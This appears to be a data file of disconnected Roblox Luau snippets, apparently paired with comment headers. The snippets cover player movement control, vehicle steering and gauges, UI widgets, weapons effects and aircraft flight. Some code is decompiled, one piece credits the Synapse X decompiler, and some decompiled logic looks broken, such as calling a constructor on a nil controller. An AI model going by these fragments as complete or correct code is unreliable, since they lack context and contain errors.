return l__CurrentCamera__22.CFrame:VectorToWorldSpace(p15);
end;
local v23 = l__CurrentCamera__22.CFrame;
if l__VRService__7.VREnabled and u6 and p14.RootPart and (p14.RootPart.CFrame.Position - v23.Position).Magnitude < 3 then
v23 = v23 * l__VRService__7:GetUserCFrame(Enum.UserCFrame.Head);
end;
local v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35 = v23:GetComponents();
if v32 < 1 and v32 > -1 then
local v36 = v35;
local v37 = v29;
else
v36 = v27;
v37 = -v28 * math.sign(v32);
end;
local v38 = math.sqrt(v36 * v36 + v37 * v37);
return Vector3.new((v36 * p15.x + v37 * p15.z) / v38, 0, (v36 * p15.z - v37 * p15.x) / v38);
end;
function v1.OnRenderStepped(p16, p17)
if p16.activeController and p16.activeController.enabled and p16.humanoid then
p16.activeController:OnRenderStepped(p17);
local v39 = p16.activeController:GetMoveVector();
local v40 = p16.activeController:IsMoveVectorCameraRelative();
local v41 = p16:GetClickToMoveController();
if p16.activeController ~= v41 then
if v39.magnitude > 0 then
v41:CleanupPath();
else
v41:OnRenderStepped(p17);
v39 = v41:GetMoveVector();
v40 = v41:IsMoveVectorCameraRelative();
end;
end;
if p16.vehicleController then
local v42, v43 = p16.vehicleController:Update(v39, v40, p16.activeControlModule == v9);
v39 = v42;
end;
if v40 then
v39 = u7(p16.humanoid, v39);
end;
p16.moveFunction(l__Players__2.LocalPlayer, v39, false);
p16.humanoid.Jump = p16.activeController:GetIsJumping() or p16.touchJumpController and p16.touchJumpController:GetIsJumping();
end;
end;
function v1.OnHumanoidSeated(p18, p19, p20)
if p19 then
if p20 and p20:IsA("VehicleSeat") then
if not p18.vehicleController then
p18.vehicleController = p18.vehicleController.new(l__Value__2);
end;
p18.vehicleController:Enable(true, p20);
return;
end;
elseif p18.vehicleController then
p18.vehicleController:Enable(false, p20);
end;
end;
function v1.OnCharacterAdded(p21, p22)
p21.humanoid = p22:FindFirstChildOfClass("Humanoid");
while not p21.humanoid do
p22.ChildAdded:wait();
p21.humanoid = p22:FindFirstChildOfClass("Humanoid");
end;
p21:UpdateTouchGuiVisibility();
if p21.humanoidSeatedConn then
p21.humanoidSeatedConn:Disconnect();
p21.humanoidSeatedConn = nil;
end;
p21.humanoidSeatedConn = p21.humanoid.Seated:Connect(function(p23, p24)
p21:OnHumanoidSeated(p23, p24);
end);
end;
function v1.OnCharacterRemoving(p25, p26)
p25.humanoid = nil;
p25:UpdateTouchGuiVisibility();
end;
function v1.UpdateTouchGuiVisibility(p27)
if p27.touchGui then
p27.touchGui.Enabled = not (not p27.humanoid) and not l__UserInputService__4.ModalEnabled;
end;
end;
local u8 = require(script:WaitForChild("TouchJump"));
function v1.SwitchToController(p28, p29)
if not p29 then
if p28.activeController then
p28.activeController:Enable(false);
end;
p28.activeController = nil;
p28.activeControlModule = nil;
return;
end;
if not p28.controllers[p29] then
p28.controllers[p29] = p29.new(l__Value__2);
end;
if p28.activeController ~= p28.controllers[p29] then
if p28.activeController then
p28.activeController:Enable(false);
end;
p28.activeController = p28.controllers[p29];
p28.activeControlModule = p29;
if p28.touchControlFrame and (p28.activeControlModule == v16 or p28.activeControlModule == v15 or p28.activeControlModule == v10) then
if not p28.controllers[u8] then
p28.controllers[u8] = u8.new();
end;
p28.touchJumpController = p28.controllers[u8];
p28.touchJumpController:Enable(true, p28.touchControlFrame);
elseif p28.touchJumpController then
p28.touchJumpController:Enable(false);
end;
p28:EnableActiveControlModule();
end;
end;
function v1.OnLastInputTypeChanged(p30, p31)
if u4 == p31 then
warn("LastInputType Change listener called with current type.");
end;
u4 = p31;
if u4 == Enum.UserInputType.Touch then
local v44, v45 = p30:SelectTouchModule();
if v45 then
while not p30.touchControlFrame do
wait();
end;
p30:SwitchToController(v44);
end;
elseif u3[u4] ~= nil then
local v46 = p30:SelectComputerMovementModule();
if v46 then
p30:SwitchToController(v46);
end;
end;
p30:UpdateTouchGuiVisibility();
end;
function v1.OnComputerMovementModeChange(p32)
local v47, v48 = p32:SelectComputerMovementModule();
if v48 then
p32:SwitchToController(v47);
end;
end;
function v1.OnTouchMovementModeChange(p33)
local v49, v50 = p33:SelectTouchModule();
if v50 then
while not p33.touchControlFrame do
wait();
end;
p33:SwitchToController(v49);
end;
end;
function v1.CreateTouchGuiContainer(p34)
if p34.touchGui then
p34.touchGui:Destroy();
end;
p34.touchGui = Instance.new("ScreenGui");
p34.touchGui.Name = "TouchGui";
p34.touchGui.ResetOnSpawn = false;
p34.touchGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling;
p34:UpdateTouchGuiVisibility();
p34.touchControlFrame = Instance.new("Frame");
p34.touchControlFrame.Name = "TouchControlFrame";
p34.touchControlFrame.Size = UDim2.new(1, 0, 1, 0);
p34.touchControlFrame.BackgroundTransparency = 1;
p34.touchControlFrame.Parent = p34.touchGui;
p34.touchGui.Parent = p34.playerGui;
end;
function v1.GetClickToMoveController(p35)
if not p35.controllers[v16] then
p35.controllers[v16] = v16.new(l__Value__2);
end;
return p35.controllers[v16];
end;
return v1.new();
|
-- Inject types
|
local TypeDefs = require(script.Parent.TypeDefinitions)
type CanPenetrateFunction = TypeDefs.CanPenetrateFunction
type CanHitFunction = TypeDefs.CanHitFunction
type GenericTable = TypeDefs.GenericTable
type Caster = TypeDefs.Caster
type FastCastBehavior = TypeDefs.FastCastBehavior
type CastTrajectory = TypeDefs.CastTrajectory
type CastStateInfo = TypeDefs.CastStateInfo
type CastRayInfo = TypeDefs.CastRayInfo
type ActiveCast = TypeDefs.ActiveCast
local TestService = game:GetService("TestService")
local table = require(script.Parent.Table)
local SignalStatic = {}
SignalStatic.__index = SignalStatic
SignalStatic.__type = "Signal" -- For compatibility with TypeMarshaller
local ConnectionStatic = {}
ConnectionStatic.__index = ConnectionStatic
ConnectionStatic.__type = "SignalConnection" -- For compatibility with TypeMarshaller
export type Signal = {
Name: string,
Connections: {[number]: Connection},
YieldingThreads: {[number]: BindableEvent}
}
export type Connection = {
Signal: Signal?,
Delegate: any,
Index: number
}
|
--[[Steering]]
|
Tune.SteerInner = 70 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 70 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .5 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .5 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 1200 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 7000 -- Steering Aggressiveness
|
-- ROBLOX deviation END
-- ROBLOX deviation: exposing our custom resetSnapshotSerializers
|
Expect.resetSnapshotSerializers = plugins.resetSerializers
|
--[[
Classes.Slider
This class creates a slider object which can be dragged for different values.
Constructors:
new(frame [instance], axis [string])
> Slider frames must have the following format:
>> SliderFrame
>>> Dragger
>>> Background
> axis defines if the slider is horizontal "x" or vertical "y"
Create(axis [string])
> Creates a slider frame from the default, simply define whether it's horizontal "x" or vertical "y".
Properties:
Frame [instance]
> The container frame for the slider. Can be used for positioning and resizing.
Interval [number] [0, 1]
> Set this to force an interval step on the slider. For example if you only wanted steps of 1/10th then you'd write
> Slider.Interval = 0.1
IsActive [boolean]
> When true the slider can be interacted with by the user, when false its values can only be set by the developer.
TweenClick [boolean]
> If true then when the user clicks on the slider the dragger will tween to that target. If not it will be instant.
Inverted [boolean]
> If true then the value of the slider will be inverted (e.g. when horizontal the right-most position will be zero and left-most 1)
> This is useful for when you have a vertical slider as typically users envision the down-most position to be zero.
Methods:
:Get() [number]
> Returns the slider position from 0 to 1
:Set(value [number], doTween [boolean]) [void]
> Sets the slider to a specific position or closest possible if interval > 0. If doTween is true then the slider will tween to that position.
:Destroy() [void]
> Destroys the slider frame and all the events, etc that were running it
Events:
.Changed:Connect(function(value [number])
> When the slider's position changes this fires the slider's current position
.Clicked:Connect(function(value [number])
> When the user clicks somewhere on the slider this fires the clicked position
.DragStart:Connect(function()
> Fires when the user starts dragging the slider
.DragStop:Connect(function()
> Fires when the user stops dragging the slider
--]]
| |
-- Reload animation
|
function reload()
if not reloading then
reloading=true;
updateAmmo()
local reloadTime = tankStats.ReloadTime.Value;
local Timer = 0
for i = 7, 1, -1 do
wait(reloadTime/8);
Timer = Timer + 1
if Timer >= 2 and Loaded == false then
GUI.ReloadSound:Play()
Loaded = true
end
end
wait(reloadTime/4);
if Timer >= 7 then
GUI.Loaded.Visible = true
Timer = 0
reloading = false;
end
end
end
function fire()
if reloading then return end;
local APAmmo = tankStats.APAmmo;
local HEAmmo = tankStats.HEAmmo;
if currRound.Value == "AP" and APAmmo.Value <= 0 then return end
if currRound.Value == "HE" and HEAmmo.Value <= 0 then return end
GUI.Loaded.Visible = false
TFE:FireServer('Fire',parts,currRound,APAmmo,HEAmmo,tankStats)
reload(GUI);
end
|
-- Shell physical properties
|
EjectionForce.PhysProperties = PhysicalProperties.new(
10, -- Density
10, -- Friction
0.1, -- Elasticity
1, -- FrictionWeight
1 -- ElasticityWeight
)
|
--attachmentWorldCFrame = part1.CFrame * attachment.CFrame --how attachment.WorldCFrame is calculated
--inverse both sides by attachment.CFrame
--attachmentWorldCFrame * attachment.CFrame:Inverse() = part1.CFrame
|
local part1 = script.Parent
local attachment1 = script.Parent.Attachment
local attachment2 = script.Parent.Parent.Partw.Attachment
part1.CFrame = attachment2.WorldCFrame * attachment1.CFrame:Inverse()
|
------------------------------------------------------------------------
|
local cameraPos = Vector3.new()
local cameraRot = Vector2.new()
local cameraFov = 0
local velSpring = Spring.new(VEL_STIFFNESS, Vector3.new())
local panSpring = Spring.new(PAN_STIFFNESS, Vector2.new())
local fovSpring = Spring.new(FOV_STIFFNESS, 0)
|
-- find player's head pos
|
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local head = vCharacter:findFirstChild("Head")
if head == nil then return end
local launch = head.Position + 10 * v
local missile = Pellet:clone()
Tool.Handle.Mesh:clone().Parent = missile
missile.Position = launch
missile.Velocity = v * 80
local force = Instance.new("BodyForce")
force.force = Vector3.new(0,40,0)
force.Parent = missile
if (turbo) then
missile.Velocity = v * 100
force.force = Vector3.new(0,45,0)
end
missile.StarScript.Disabled = false
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = vCharacter
creator_tag.Name = "creator"
creator_tag.Parent = missile
missile.Parent = game.Workspace
end
function rndDir()
return Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5).unit
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
if loaded==true then
loaded=false
local targetPos = humanoid.TargetPoint
local lookAt = (targetPos - character.Head.Position).unit
fire(lookAt, isTurbo(character) )
if (isTurbo(character) == true) then
wait(.1)
Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6
Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6
wait(.1)
fire(lookAt * .9 + rndDir() * .1, isTurbo(character) )
Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6
Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6
wait(.1)
fire(lookAt * .8 + rndDir() * .2, isTurbo(character) )
wait(.1)
else
wait(.3)
end
Tool.Enabled = true
elseif loaded==false then
Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6
Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6
wait(.1)
Tool.Handle.Transparency=0
wait(.1)
loaded=true
end
Tool.Enabled = true
end
script.Parent.Activated:connect(onActivated)
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__Query__1 = script.Parent.Search.Query;
local l__Container__2 = script.Parent.Container;
function UpdateContainer()
local v1 = string.lower(l__Query__1.Text);
local v2, v3, v4 = pairs(l__Container__2:GetChildren());
while true do
local v5, v6 = v2(v3, v4);
if v5 then
else
break;
end;
v4 = v5;
if v6:IsA("ImageButton") then
if v1 ~= "" then
if string.find(string.lower(v6:FindFirstChild("Title").Text), v1) then
v6.Visible = true;
else
v6.Visible = false;
end;
else
v6.Visible = true;
end;
end;
end;
end;
l__Query__1.Changed:Connect(UpdateContainer);
|
--[[
Classes.CheckboxLabel
This class creates a single checkbox label
Constructors:
new(frame [instance])
>
Create(text)
> Creates a CheckboxLabel from the text provided.
Properties:
Frame [instance]
> The container frame for the CheckboxLabel. Can be used for positioning and resizing.
Button [instance]
> The button used to track when the user clicks on the checkbox button or not
Methods:
:GetValue() [boolean]
> Returns whether the checkbox is selected or not.
:SetValue(bool [boolean]) [void]
> Sets if the checkbox is selected or not.
:Destroy() [void]
> Destroys the RadioButtonLabel and all the events, etc that were running it.
Events:
.Changed:Connect(function(bool [boolean])
> Fired when the user clicks the checkbox.
--]]
| |
--
|
script.Parent.OnServerEvent:Connect(function(p)
wait(1)
local Character = p.Character
local Humanoid = Character.Humanoid
local RootPart = Character.HumanoidRootPart
local Slash1 = RS.Effects.Knives3:Clone()
script.Attack:Play()
script.Parent.Parent.Parent.Handle.Transparency = 0
script.Parent.Parent.Parent.Handle.Part.Attachment.FX:Emit(15)
Slash1.Parent = FX
Slash1.CFrame = RootPart.CFrame * CFrame.new(0,0,-3)
local BV = Instance.new("BodyVelocity",Slash1)
BV.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
BV.Velocity = p.Character.HumanoidRootPart.CFrame.LookVector * 70
Slash1.Touched:Connect(function(hit)
if hit.Parent:FindFirstChild("Humanoid") and hit.Parent.Name ~= p.Name then
hit.Parent.Humanoid:TakeDamage(Damage)
local HitEffect = Effects.HitFx.Attachment:Clone()
local RootPart2 = hit.Parent.HumanoidRootPart
HitEffect.Parent = RootPart2
for _,Particles in pairs(HitEffect:GetDescendants()) do
if Particles:IsA("ParticleEmitter") then
Particles:Emit(Particles:GetAttribute("EmitCount"))
end
end
HitEffect.Hit:Play()
local vel = Instance.new("BodyVelocity", RootPart2)
vel.MaxForce = Vector3.new(1,1,1) * 1000000;
vel.Parent = RootPart2
vel.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 0
vel.Name = "SmallMoveVel"
game.Debris:AddItem(vel,.3)
Slash1:Destroy()
end
wait(1)
BV:Destroy()
for _,Particles in pairs(Slash1.Part.Parent:GetDescendants()) do
if Particles:IsA("ParticleEmitter") then
Particles.Enabled = false
end
end
Slash1.PointLight.Enabled = false
end)
end)
|
-- EXTRA --
|
CS:GetInstanceAddedSignal(Tag):Connect(function(v)
if v:IsA("Model") then
v:SetAttribute("Status",0)
RagdollModule:Setup(v)
end
end)
|
-- Sets the mass of the specified part by adjusting its density so that all
-- speeders will have the same mass (using static _DENSITY and _VOLUME)
|
local function SetMass(part)
local volume = part.Size.X * part.Size.Y * part.Size.Z
local newDensity = _DENSITY * _VOLUME / volume
-- Defaults except newDensity (density, friction, elasticity)
part.CustomPhysicalProperties = PhysicalProperties.new(newDensity, 0.3, 0.5)
end -- SetMass()
local function HandleCollision(collidedPart, part, self)
local RaceTrack = workspace:FindFirstChild("Racetrack")
local EnvironmentAssets = workspace:FindFirstChild("Environment Assets")
local Plants = EnvironmentAssets:FindFirstChild("Plants")
if not collidedPart:IsDescendantOf(self.speeder) and not collidedPart:IsDescendantOf(RaceTrack)
and not collidedPart:IsDescendantOf(Plants) and not (collidedPart == workspace.SpeederSpawnLocation)
and not PhysicsService:CollisionGroupContainsPart(_SPEEDEROBJECTSCOLLISIONGROUP, collidedPart) then
-- Create particle effect
local particle = Explosion:Clone()
particle.CFrame = part.CFrame
particle.Parent = workspace
character:Destroy()
ExplosionSound:Play()
local planeGui = PlayerGui:FindFirstChild("DesktopGui") or
PlayerGui:FindFirstChild("ConsoleGui") or
PlayerGui:FindFirstChild("MobileGui")
if planeGui then
planeGui.Enabled = false
end
local emitterChildren = particle:GetChildren()
for _, child in pairs(emitterChildren) do
-- If the child is a particle, then cause it to emit
if child:IsA("ParticleEmitter") then
child:Emit(10)
end
end
-- Destroy particle after PARTICLE_DURATION seconds
spawn(function()
wait(PARTICLE_DURATION)
particle:Destroy()
end)
-- Convert speeder to player
spawn(function()
wait(2)
PlayerConverter:SpeederToPlayer(false)
end)
end
end -- handleCollisions()
local function SetupCollisionDetection(parent, self)
for _,part in pairs(parent:GetChildren()) do
if (part:IsA("BasePart") or part:IsA("MeshPart")) and part.Name ~= "Head" and
part.Name ~= "UpperTorso" and part.Name ~= "Arrow" then
part.Touched:Connect(function(collidedPart) HandleCollision(collidedPart, part, self) end)
SetupCollisionDetection(part, self)
end
end
end -- setupCollisionDetection()
|
-- local throttleNeeded =
|
animationParts.Wings.WingFlex:FireServer()
local stallLine = ((stallSpeed/math.floor(currentSpeed+0.5))*(stallSpeed/max))
stallLine = (stallLine > 1 and 1 or stallLine)
panel.Throttle.Bar.StallLine.Position = UDim2.new(stallLine,0,0,0)
panel.Throttle.Bar.StallLine.BackgroundColor3 = (stallLine > panel.Throttle.Bar.Amount.Size.X.Scale and Color3.new(1,0,0) or Color3.new(0,0,0))
if (change == 1) then
currentSpeed = (currentSpeed > desiredSpeed and desiredSpeed or currentSpeed) -- Reduce "glitchy" speed
else
currentSpeed = (currentSpeed < desiredSpeed and desiredSpeed or currentSpeed)
end
local tax,stl = taxi(),stall()
if ((lastStall) and (not stl) and (not tax)) then -- Recovering from a stall:
if ((realSpeed > -10000) and (realSpeed < 10000)) then
currentSpeed = realSpeed
else
currentSpeed = (stallSpeed+1)
end
end
lastStall = stl
move.velocity = (main.CFrame.lookVector*currentSpeed) -- Set speed to aircraft
local bank = ((((m.ViewSizeX/2)-m.X)/(m.ViewSizeX/2))*maxBank) -- My special equation to calculate the banking of the plane. It's pretty simple actually
bank = (bank < -maxBank and -maxBank or bank > maxBank and maxBank or bank)
if (tax) then
animationParts.Wings.WingStraight:FireServer()
if (currentSpeed < 2) then -- Stop plane from moving/turning when idled on ground
move.maxForce = Vector3.new(0,0,0)
gyro.maxTorque = Vector3.new(0,0,0)
else
move.maxForce = Vector3.new(math.huge,0,math.huge) -- Taxi
gyro.maxTorque = Vector3.new(0,math.huge,0)
gyro.cframe = CFrame.new(main.Position,m.Hit.p)
end
elseif (stl) then
move.maxForce = Vector3.new(0,0,0) -- Stall
gyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
gyro.cframe = (m.Hit*CFrame.Angles(0,0,math.rad(bank)))
else
move.maxForce = Vector3.new(math.huge,math.huge,math.huge) -- Fly
gyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
gyro.cframe = (m.Hit*CFrame.Angles(0,0,math.rad(bank)))
end
if ((altRestrict) and (main.Position.y < altMin)) then -- If you have altitude restrictions and are below the minimun altitude, then make the plane explode
plane.AutoCrash.Value = true
end
if main.Position.Y > 1000 then
animationParts.Wings.WingFlex:FireServer()
end
local bank = ((((m.ViewSizeX/2)-m.X)/(m.ViewSizeX/2))) -- My special equation to calculate the banking of the plane. It's pretty simple actually
local pitch = (((m.ViewSizeY/2)-m.Y)/(m.ViewSizeY/2))
local Control1 = 0.3*pitch
local Control2 = 0.5*-bank
local Control3 = 0.2*bank
local Control4 = 1*bank
local Control5 = 0.2*pitch
local Control6 = 0.2*bank
animationParts.ControlFE:FireServer(Control1,Control2,Control3,Control4,Control5,Control6)
main.FE.ThrottleFE:FireServer(throttle)
updateGui(tax,stl) -- Keep the pilot informed!
wait()
end
end
function CamChange()
if camtype == 1 then
game.Workspace.CurrentCamera.CameraSubject = mainParts.Camera
workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
elseif camtype == 2 then
game.Workspace.CurrentCamera.CameraSubject = mainParts.Camera
workspace.CurrentCamera.CameraType = Enum.CameraType.Attach
elseif camtype == 3 then
game.Workspace.CurrentCamera.CameraSubject = player.Character.Humanoid
workspace.CurrentCamera.CameraType = Enum.CameraType.Attach
end
end
game:GetService("UserInputService").InputBegan:Connect(function(key, gameProcessedEvent)
if not gameProcessedEvent then
if key.KeyCode == Enum.KeyCode.Z then
if camtype == 1 then
camtype = 2
CamChange()
elseif camtype == 2 then
camtype = 3
CamChange()
elseif camtype == 3 then
camtype = 1
CamChange()
end
end
end
end)
function PilotIn() -- Initial setup
selected,script.Parent.CurrentSelect.Value = true,true
m = player:GetMouse()
mouseSave = m
CamChange()
m.Icon = "http://www.roblox.com/asset/?id=2763570264" -- Mouse icon used in Perilous Skies
delay(0,function() fly(m) end) -- Basically a coroutine
m.KeyDown:connect(function(k)
if (not flying) then return end
k = k:lower()
if (k == keys.engine.key) then
on = (not on)
main.FE.OnFE:FireServer() -- FE
if (not on) then
throttle = 0
main.FE.OffFE:FireServer() -- FE
end
elseif (k == keys.landing.key) then
main.FE.GearFE:FireServer() -- FE
elseif (k:byte() == keys.spdup.byte) then
keys.spdup.down = true
delay(0,function()
while ((keys.spdup.down) and (on) and (flying)) do
throttle = (throttle+throttleInc)
throttle = (throttle > 1 and 1 or throttle)
wait()
end
end)
elseif (k:byte() == keys.spddwn.byte) then
keys.spddwn.down = true
delay(0,function()
while ((keys.spddwn.down) and (on) and (flying)) do
throttle = (throttle-throttleInc)
throttle = (throttle < 0 and 0 or throttle)
wait()
end
end)
end
end)
m.KeyUp:connect(function(k)
if (k:byte() == keys.spdup.byte) then
keys.spdup.down = false
elseif (k:byte() == keys.spddwn.byte) then
keys.spddwn.down = false
end
end)
end
function deselected(forced)
selected,script.Parent.CurrentSelect.Value = false,false
game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
game.Workspace.CurrentCamera.CameraSubject = player.Character.Humanoid
gui.Parent = nil
flying = false
pcall(function()
if on == false then
move.maxForce = Vector3.new(0,0,0)
if (taxi()) then
gyro.maxTorque = Vector3.new(0,0,0)
end
end
end)
if (forced) then
if (mouseSave) then
mouseSave.Icon = "" -- If you remove a tool without the actual deselect event, the icon will not go back to normal. This helps simulate it at the least
wait()
end
script.Parent.Deselect1.Value = true -- When this is triggered, the Handling script knows it is safe to remove the tool from the player
end
end
player.Character.Humanoid.Jumping:Connect(deselected)
script.Parent.Deselect0.Changed:connect(function() -- When you get out of the seat while the tool is selected, Deselect0 is triggered to True
if (script.Parent.Deselect0.Value) then
deselected(true)
end
end)
PilotIn()
|
-- NOTE: To me, this appears a bit 'hackish' so I can't
-- promise that it will always work!
|
local noJump = script.NoJump:Clone()
script.NoJump:Destroy()
function CharacterSpawned(char)
local noJ = noJump:Clone()
noJ.Parent = char
Delay(0.2, function()
noJ.Disabled = false
end)
end
function PlayerEntered(player)
player.CharacterAdded:connect(CharacterSpawned)
end
for _,v in pairs(game.Players:GetPlayers()) do PlayerEntered(v) end
game.Players.PlayerAdded:connect(PlayerEntered)
|
--[=[
Cleans up the service bag and all services that have been
initialized in the service bag.
]=]
|
function ServiceBag:Destroy()
local super = getmetatable(ServiceBag)
self._destroying:Fire()
local services = self._services
local key, service = next(services)
while service ~= nil do
services[key] = nil
if service.Destroy then
service:Destroy()
end
key, service = next(services)
end
super.Destroy(self)
end
return ServiceBag
|
--[[**
<description>
Saves the data to the data store. Called when a player leaves.
</description>
**--]]
|
function DataStore:Save()
local success, result = self:SaveAsync():await()
if success then
print("saved", self.Name)
else
error(result)
end
end
|
--Automatic Gauge Scaling
|
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive/_Tune.FDMult)
v.spInc = math.max(math.ceil(v.maxSpeed/150)*10,10)
end
end
for i=0,revEnd*2 do
local ln = gauges.ln:clone()
ln.Parent = gauges.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = gauges.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",gauges.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = gauges.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
local blns = Instance.new("Frame",gauges.Boost)
blns.Name = "blns"
blns.BackgroundTransparency = 1
blns.BorderSizePixel = 0
blns.Size = UDim2.new(0,0,0,0)
for i=0,12 do
local bln = gauges.bln:clone()
bln.Parent = blns
bln.Rotation = 45+270*(i/12)
if i%2==0 then
bln.Frame.Size = UDim2.new(0,2,0,7)
bln.Frame.Position = UDim2.new(0,-1,0,40)
else
bln.Frame.Size = UDim2.new(0,3,0,5)
end
bln.Num:Destroy()
bln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",gauges.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = gauges.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if isOn.Value then
gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
isOn.Changed:connect(function()
if isOn.Value then
gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
values.RPM.Changed:connect(function()
gauges.Tach.Needle.Rotation = 45 + 225 * math.min(1,values.RPM.Value / (revEnd*1000))
end)
local _TCount = 0
if _Tune.Aspiration ~= "Natural" then
if _Tune.Aspiration == "Single" or _Tune.Aspiration == "Super" then
_TCount = 1
elseif _Tune.Aspiration == "Double" then
_TCount = 2
end
values.Boost.Changed:connect(function()
local boost = math.floor(values.Boost.Value)
if _Tune.Aspiration~="Super" then boost = (math.floor(values.Boost.Value)*1.2)-((_Tune.Boost*_TCount)/5) end
gauges.Boost.Needle.Rotation = 45 + 270 * math.min(1,(values.Boost.Value/(_Tune.Boost)/_TCount))
gauges.PSI.Text = tostring(math.floor(boost).." PSI")
end)
else
gauges.Boost:Destroy()
end
values.Gear.Changed:connect(function()
local gearText = values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
gauges.Gear.Text = gearText
end)
values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCS.Value then
gauges.TCS.TextColor3 = Color3.new(1,170/255,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if values.TCSActive.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
else
wait()
gauges.TCS.Visible = false
end
else
gauges.TCS.Visible = true
gauges.TCS.TextColor3 = Color3.new(1,0,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
gauges.TCS.Visible = false
end
end)
values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCSActive.Value and values.TCS.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
elseif not values.TCS.Value then
wait()
gauges.TCS.Visible = true
else
wait()
gauges.TCS.Visible = false
end
else
gauges.TCS.Visible = false
end
end)
gauges.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCSActive.Value and values.TCS.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
elseif not values.TCS.Value then
wait()
gauges.TCS.Visible = true
end
else
if gauges.TCS.Visible then
gauges.TCS.Visible = false
end
end
end)
values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABS.Value then
gauges.ABS.TextColor3 = Color3.new(1,170/255,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if values.ABSActive.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
else
wait()
gauges.ABS.Visible = false
end
else
gauges.ABS.Visible = true
gauges.ABS.TextColor3 = Color3.new(1,0,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
gauges.ABS.Visible = false
end
end)
